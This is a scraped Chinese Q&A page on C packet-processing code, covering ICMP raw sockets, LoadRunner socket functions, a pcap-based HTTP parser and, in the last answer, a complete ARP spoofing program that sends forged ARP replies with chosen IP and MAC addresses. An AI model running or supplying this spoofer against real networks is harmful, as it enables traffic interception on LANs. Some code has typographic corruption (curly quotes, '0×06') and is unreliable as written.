導航:首頁 > 編程語言 > c報文處理源代碼

c報文處理源代碼

發布時間:2023-01-26 10:13:51

A. 如何在linux下用c語言編寫一個能夠發送icmp報文的小程序

需要建立來socket,參數是AF_INET,SOCK_RAW,IPPROTO_ICMP

自己構自造ICMP數據包,sendto發送給某地址。

ICMP有多種,你可以發送type為13的時間戳請求。

然後調用recvfrom會收到type為14的timestampreply的IP包,

IP頭一般是20Bytes,裡麵包含srcIP,desIP還有TTL等。

IP包的數據就是返回ICMPtimestampreply報文,裡面有origTimestamp,recvTimestamp,transStamp,可以計算出時間。

可以參考網頁鏈接網頁鏈接

覺得有幫助可以注冊帳號,給他點個「星」

B. c語言報文轉發腳本怎麼寫

簡單的Socket協議腳本的編寫方法。

1.socket協議介紹

Socket協議有萬能協議之稱,很多系統底層都是用的socket協議,用處十分廣泛。

1.1 Socket通訊方式說明

與socket通訊有兩種方式,一種是建立長連接,建立後不停的發送,接收;另一種是建立短連接,即建立連接發送報文,接收報文關閉連接

1.2 Socket協議發送的buf類型介紹

Send buffer類型分為字元串和xml類型

1.3 Socket協議腳本編寫前提:

與項目組溝通,確認是否是socket協議,由項目組提供伺服器IP和埠號還有socket協議交易的報文發送及接收報文對,及交易介面文檔,了解清楚報文的數據長度,參數化欄位,結構,代表什麼等,了解清楚後進行socket協議腳本的開發。

1.4、Socket協議腳本函數說明及實例:

1)名稱 lrs_create_socket();

創建socket連接,添加IP和埠號,如果創建成功返回值為0,反之則返回為非0數值。(對於長連接,建立socket連接放在vuser_init函數中,短連接放在Action中即可) 實例: lrs_create_socket("socket0","TCP","RemoteHost=180.170.150.230:7700", LrsLastArg);

2)名稱 lrs_send();

發送socket請求消息,取緩沖區buf0的報文並發送。

實例: lrs_send("socket0","buf1",LrsLastArg);

3)名稱 lrs_receive();

接收socket的響應報文,放置buf1中。

實例:lrs_receive("socket0","buf2",LrsLastArg);

4)名稱 lrs_get_last_received_buffer();

獲取最後收到的buffer和大小,其中將最後收到的buffer的值賦給RecvBuf變數,將大小賦值給RecvLen。

實例: lrs_get_last_received_buffer("socket0",&recvBuf,&recvLen);

5)名稱 lrs_free_buffer();

為防止內存泄露,釋放內存空間。

實例: lrs_free_buffer(recvBuf);

6)名稱 lrs_close_socket();

關閉Socket連接,(對於長連接,關閉socket連接應放在vuser_end函數中)

實例: lrs_close_socket("socket0");

其他常用的Socket函數:

lrs_set_send_buffer("socket0", sSendPkg, iLenOfPkg );//指定要發送的socket信息

lrs_get_buffer_by_name("buf0", sSendPkg, iLenOfPkg);// 獲取收到的buffer和大小

lrs_length_send("socket0","buf0",1,"Size=4","Encoding=1",LrsLastArg);

關聯函數:

lrs_save_param_ex("socket0","received","",151,7,"ascii","response");//取指定位置字元串保存到變數,以便判斷事務是否成功

lrs_save_searched_string();//在指定位置搜索字元串,將出現的字元串報錯到參數中

超時函數

lrs_set_connect_timeout();//設置連接超時時間

lrs_set_recv_timeout();//設置伺服器響應超時時間

lrs_set_recv_timeout2();//設置接收

C. c語言構造http報文,實現輸入一個網址,然後下載網頁源碼. 比如說輸入www.baidu.com,最好是在linux環境下的.

就是發http請求,看看http協議,或者直接抓包看

D. C語言的 關於安全報文系統 基於OpenSSL

給你私信了

E. 怎麼樣用出C語言寫一個分析TCP/IP報文的程

socket編程寫了一個簡單的DNS伺服器。
是這樣實現的,用兩台PC,一個做客戶端,一個做伺服器;
在伺服器用socket監視53埠,recvfrom()函數負責接收DNS查詢報文,將其存入事先寫好的數據結構里;
因為DNS查詢報文和應答報文的前部分欄位格式都是一樣的,只是修改了幾個參數,然後重點把DNS應答報文後面的欄位進行增添。
然後用sendto();函數發送就可以了。
在ie裡面輸入任意的網址,回車,就會觸發客戶端向伺服器發出DNS查詢報文,
此時你可以同時在伺服器和客戶端抓包,看收到的報文是否正確。

注意幾點:
1、一定要熟悉報文結構,定義合適的結構體,將報文進行解析
2、一定要注意網路序和主機序的轉換htonl(),htons(),ntohl(),ntohs()等
3、找個熟知埠,最好是你熟悉的協議,如ftp,http,dns等。
4、客戶端要把DNS伺服器配置為你的伺服器ip。

F. http協議解析 請求行的信息怎麼提取 c語言源碼

實現步驟:
1)用Wireshark軟體抓包得到test.pcap文件
2)程序:分析文件頭 -> 分析pcap_pkt頭 -> 分析幀頭 -> 分析ip頭 -> 分析tcp頭 -> 分析http信息
#include<stdio.h>
#include<string.h>
#include<stdlib.h>
#include<netinet/in.h>
#include<time.h>
#define BUFSIZE 10240
#define STRSIZE 1024
typedef long bpf_int32;
typedef unsigned long bpf_u_int32;
typedef unsigned short u_short;
typedef unsigned long u_int32;
typedef unsigned short u_int16;
typedef unsigned char u_int8;
//pacp文件頭結構體
struct pcap_file_header
{
bpf_u_int32 magic; /* 0xa1b2c3d4 */
u_short version_major; /* magjor Version 2 */
u_short version_minor; /* magjor Version 4 */
bpf_int32 thiszone; /* gmt to local correction */
bpf_u_int32 sigfigs; /* accuracy of timestamps */
bpf_u_int32 snaplen; /* max length saved portion of each pkt */
bpf_u_int32 linktype; /* data link type (LINKTYPE_*) */
};
//時間戳
struct time_val
{
long tv_sec; /* seconds 含義同 time_t 對象的值 */
long tv_usec; /* and microseconds */
};
//pcap數據包頭結構體
struct pcap_pkthdr
{
struct time_val ts; /* time stamp */
bpf_u_int32 caplen; /* length of portion present */
bpf_u_int32 len; /* length this packet (off wire) */
};
//數據幀頭
typedef struct FramHeader_t
{ //Pcap捕獲的數據幀頭
u_int8 DstMAC[6]; //目的MAC地址
u_int8 SrcMAC[6]; //源MAC地址
u_short FrameType; //幀類型
} FramHeader_t;
//IP數據報頭
typedef struct IPHeader_t
{ //IP數據報頭
u_int8 Ver_HLen; //版本+報頭長度
u_int8 TOS; //服務類型
u_int16 TotalLen; //總長度
u_int16 ID; //標識
u_int16 Flag_Segment; //標志+片偏移
u_int8 TTL; //生存周期
u_int8 Protocol; //協議類型
u_int16 Checksum; //頭部校驗和
u_int32 SrcIP; //源IP地址
u_int32 DstIP; //目的IP地址
} IPHeader_t;
//TCP數據報頭
typedef struct TCPHeader_t
{ //TCP數據報頭
u_int16 SrcPort; //源埠
u_int16 DstPort; //目的埠
u_int32 SeqNO; //序號
u_int32 AckNO; //確認號
u_int8 HeaderLen; //數據報頭的長度(4 bit) + 保留(4 bit)
u_int8 Flags; //標識TCP不同的控制消息
u_int16 Window; //窗口大小
u_int16 Checksum; //校驗和
u_int16 UrgentPointer; //緊急指針
}TCPHeader_t;
//
void match_http(FILE *fp, char *head_str, char *tail_str, char *buf, int total_len); //查找 http 信息函數
//
int main()
{
struct pcap_file_header *file_header;
struct pcap_pkthdr *ptk_header;
IPHeader_t *ip_header;
TCPHeader_t *tcp_header;
FILE *fp, *output;
int pkt_offset, i=0;
int ip_len, http_len, ip_proto;
int src_port, dst_port, tcp_flags;
char buf[BUFSIZE], my_time[STRSIZE];
char src_ip[STRSIZE], dst_ip[STRSIZE];
char host[STRSIZE], uri[BUFSIZE];
//初始化
file_header = (struct pcap_file_header *)malloc(sizeof(struct pcap_file_header));
ptk_header = (struct pcap_pkthdr *)malloc(sizeof(struct pcap_pkthdr));
ip_header = (IPHeader_t *)malloc(sizeof(IPHeader_t));
tcp_header = (TCPHeader_t *)malloc(sizeof(TCPHeader_t));
memset(buf, 0, sizeof(buf));
//
if((fp = fopen(「test.pcap」,」r」)) == NULL)
{
printf(「error: can not open pcap file\n」);
exit(0);
}
if((output = fopen(「output.txt」,」w+」)) == NULL)
{
printf(「error: can not open output file\n」);
exit(0);
}
//開始讀數據包
pkt_offset = 24; //pcap文件頭結構 24個位元組
while(fseek(fp, pkt_offset, SEEK_SET) == 0) //遍歷數據包
{
i++;
//pcap_pkt_header 16 byte
if(fread(ptk_header, 16, 1, fp) != 1) //讀pcap數據包頭結構
{
printf(「\nread end of pcap file\n」);
break;
}
pkt_offset += 16 + ptk_header->caplen; //下一個數據包的偏移值
strftime(my_time, sizeof(my_time), 「%Y-%m-%d %T」, localtime(&(ptk_header->ts.tv_sec))); //獲取時間
// printf(「%d: %s\n」, i, my_time);
//數據幀頭 14位元組
fseek(fp, 14, SEEK_CUR); //忽略數據幀頭
//IP數據報頭 20位元組
if(fread(ip_header, sizeof(IPHeader_t), 1, fp) != 1)
{
printf(「%d: can not read ip_header\n」, i);
break;
}
inet_ntop(AF_INET, (void *)&(ip_header->SrcIP), src_ip, 16);
inet_ntop(AF_INET, (void *)&(ip_header->DstIP), dst_ip, 16);
ip_proto = ip_header->Protocol;
ip_len = ip_header->TotalLen; //IP數據報總長度
// printf(「%d: src=%s\n」, i, src_ip);
if(ip_proto != 0×06) //判斷是否是 TCP 協議
{
continue;
}
//TCP頭 20位元組
if(fread(tcp_header, sizeof(TCPHeader_t), 1, fp) != 1)
{
printf(「%d: can not read ip_header\n」, i);
break;
}
src_port = ntohs(tcp_header->SrcPort);
dst_port = ntohs(tcp_header->DstPort);
tcp_flags = tcp_header->Flags;
// printf(「%d: src=%x\n」, i, tcp_flags);
if(tcp_flags == 0×18) // (PSH, ACK) 3路握手成功後
{
if(dst_port == 80) // HTTP GET請求
{
http_len = ip_len – 40; //http 報文長度
match_http(fp, 「Host: 「, 「\r\n」, host, http_len); //查找 host 值
match_http(fp, 「GET 「, 「HTTP」, uri, http_len); //查找 uri 值
sprintf(buf, 「%d: %s src=%s:%d dst=%s:%d %s%s\r\n」, i, my_time, src_ip, src_port, dst_ip, dst_port, host, uri);
//printf(「%s」, buf);
if(fwrite(buf, strlen(buf), 1, output) != 1)
{
printf(「output file can not write」);
break;
}
}
}
} // end while
fclose(fp);
fclose(output);
return 0;
}
//查找 HTTP 信息
void match_http(FILE *fp, char *head_str, char *tail_str, char *buf, int total_len)
{
int i;
int http_offset;
int head_len, tail_len, val_len;
char head_tmp[STRSIZE], tail_tmp[STRSIZE];
//初始化
memset(head_tmp, 0, sizeof(head_tmp));
memset(tail_tmp, 0, sizeof(tail_tmp));
head_len = strlen(head_str);
tail_len = strlen(tail_str);
//查找 head_str
http_offset = ftell(fp); //記錄下HTTP報文初始文件偏移
while((head_tmp[0] = fgetc(fp)) != EOF) //逐個位元組遍歷
{
if((ftell(fp) – http_offset) > total_len) //遍歷完成
{
sprintf(buf, 「can not find %s \r\n」, head_str);
exit(0);
}
if(head_tmp[0] == *head_str) //匹配到第一個字元
{
for(i=1; i<head_len; i++) //匹配 head_str 的其他字元
{
head_tmp[i]=fgetc(fp);
if(head_tmp[i] != *(head_str+i))
break;
}
if(i == head_len) //匹配 head_str 成功,停止遍歷
break;
}
}
// printf(「head_tmp=%s \n」, head_tmp);
//查找 tail_str
val_len = 0;
while((tail_tmp[0] = fgetc(fp)) != EOF) //遍歷
{
if((ftell(fp) – http_offset) > total_len) //遍歷完成
{
sprintf(buf, 「can not find %s \r\n」, tail_str);
exit(0);
}
buf[val_len++] = tail_tmp[0]; //用buf 存儲 value 直到查找到 tail_str
if(tail_tmp[0] == *tail_str) //匹配到第一個字元
{
for(i=1; i<tail_len; i++) //匹配 head_str 的其他字元
{
tail_tmp[i]=fgetc(fp);
if(tail_tmp[i] != *(tail_str+i))
break;
}
if(i == tail_len) //匹配 head_str 成功,停止遍歷
{
buf[val_len-1] = 0; //清除多餘的一個字元
break;
}
}
}
// printf(「val=%s\n」, buf);
fseek(fp, http_offset, SEEK_SET); //將文件指針 回到初始偏移
}

G. Linux C編程, 如何仿造ip、mac地址發送報文呢 是利用ARP協議漏洞嗎有沒有源代碼借鑒下~~

一個arp欺騙攻擊的代碼如下:
/*
This program sends out ARP packet(s) with source/target IP
and Ethernet hardware addresses supplied by the user.
*/

#include <stdlib.h>
#include <netdb.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <stdio.h>
#include <errno.h>
#include <sys/ioctl.h>
#include <net/if.h>
#include <signal.h>
#include <netinet/ip.h>
#include <netinet/in.h>
#include <string.h>
#include <arpa/inet.h>
#include <netinet/ip_icmp.h>
#include <linux/if_ether.h>

#define ETH_HW_ADDR_LEN 6
#define IP_ADDR_LEN 4
#define ARP_FRAME_TYPE 0x0806
#define ETHER_HW_TYPE 1
#define IP_PROTO_TYPE 0x0800
#define OP_ARP_REQUEST 2
#define OP_ARP_QUEST 1
#define DEFAULT_DEVICE "eth0"
char usage[] = {"send_arp: sends out custom ARP packet. \n"
"usage: send_arp src_ip_addr src_hw_addr targ_ip_addr tar_hw_addr number"};

struct arp_packet
{
u_char targ_hw_addr[ETH_HW_ADDR_LEN];
u_char src_hw_addr[ETH_HW_ADDR_LEN];
u_short frame_type;
u_short hw_type;
u_short prot_type;
u_char hw_addr_size;
u_char prot_addr_size;
u_short op;
u_char sndr_hw_addr[ETH_HW_ADDR_LEN];
u_char sndr_ip_addr[IP_ADDR_LEN];
u_char rcpt_hw_addr[ETH_HW_ADDR_LEN];
u_char rcpt_ip_addr[IP_ADDR_LEN];
u_char padding[18];
};

void die (char *);
void get_ip_addr (struct in_addr *, char *);
void get_hw_addr (char *, char *);

int main (int argc, char * argv[])
{
struct in_addr src_in_addr, targ_in_addr;
struct arp_packet pkt;
struct sockaddr sa;
int sock;
int j,number;
if (argc != 6)
die(usage);

sock = socket(AF_INET, SOCK_PACKET, htons(ETH_P_RARP));
if (sock < 0)
{
perror("socket");
exit(1);
}

number = atoi(argv[5]);

pkt.frame_type = htons(ARP_FRAME_TYPE);
pkt.hw_type = htons(ETHER_HW_TYPE);
pkt.prot_type = htons(IP_PROTO_TYPE);
pkt.hw_addr_size = ETH_HW_ADDR_LEN;
pkt.prot_addr_size = IP_ADDR_LEN;
pkt.op = htons(OP_ARP_QUEST);
get_hw_addr(pkt.targ_hw_addr, argv[4]);
get_hw_addr(pkt.rcpt_hw_addr, argv[4]);
get_hw_addr(pkt.src_hw_addr, argv[2]);
get_hw_addr(pkt.sndr_hw_addr, argv[2]);
get_ip_addr(&src_in_addr, argv[1]);
get_ip_addr(&targ_in_addr, argv[3]);
memcpy(pkt.sndr_ip_addr, &src_in_addr, IP_ADDR_LEN);
memcpy(pkt.rcpt_ip_addr, &targ_in_addr, IP_ADDR_LEN);
bzero(pkt.padding,18);
strcpy(sa.sa_data, DEFAULT_DEVICE);
for (j = 0; j < number; j++)
{
if (sendto(sock,&pkt,sizeof(pkt),0,&sa,sizeof(sa)) < 0)
{
perror("sendto");
exit(1);
}
}
exit(0);
}

void die (char *str)
{
fprintf(stderr,"%s\n",str);
exit(1);
}

void get_ip_addr(struct in_addr *in_addr, char *str)
{
struct hostent *hostp;
in_addr->s_addr = inet_addr(str);
if(in_addr->s_addr == -1)
{
if ((hostp = gethostbyname(str)))
b(hostp->h_addr, in_addr, hostp->h_length);
else {
fprintf(stderr, "send_arp: unknown host %s\n", str);
exit(1);
}
}
}

void get_hw_addr (char *buf, char *str)
{
int i;
char c, val;
for(i = 0; i < ETH_HW_ADDR_LEN; i++)
{
if (!(c = tolower(*str++)))
die("Invalid hardware address");
if (isdigit(c))
val = c - '0';
else if (c >= 'a' && c <= 'f')
val = c-'a'+10;
else
die("Invalid hardware address");
*buf = val << 4;
if (!(c = tolower(*str++)))
die("Invalid hardware address");
if (isdigit(c))
val = c - '0';
else if (c >= 'a' && c <= 'f')
val = c-'a'+10;
else
die("Invalid hardware address");
*buf++ |= val;
if (*str == ':')
str++;
}
}

閱讀全文

與c報文處理源代碼相關的資料

熱點內容
微信清除緩存圖片恢復 瀏覽:305
安卓app會閃退怎麼解決 瀏覽:429
哪些app背單詞是免費的 瀏覽:889
cf擊殺圖標放哪個文件夾 瀏覽:208
為什麼我的爐石不能查看完整數據 瀏覽:179
蘋果7音量按鍵不回彈 瀏覽:296
u盤兩個系統可以放一個文件夾嗎 瀏覽:538
linuxshell變數累加 瀏覽:386
win10控制面板怎麼看 瀏覽:574
如何編程換裝游戲程序 瀏覽:269
怎麼登錄沭陽縣民政局網站 瀏覽:451
iphone6降級ios7 瀏覽:92
怎麼隱藏三星應用程序圖標不見了 瀏覽:203
可以兼職的app 瀏覽:493
iphone圓角圖標製作 瀏覽:659
建設銀行app怎麼申請 瀏覽:163
系統備份文件夾在哪 瀏覽:998
qq分組exo韓文 瀏覽:849
華碩裝裝win7系統教程視頻 瀏覽:407
什麼是數據直連 瀏覽:210

友情鏈接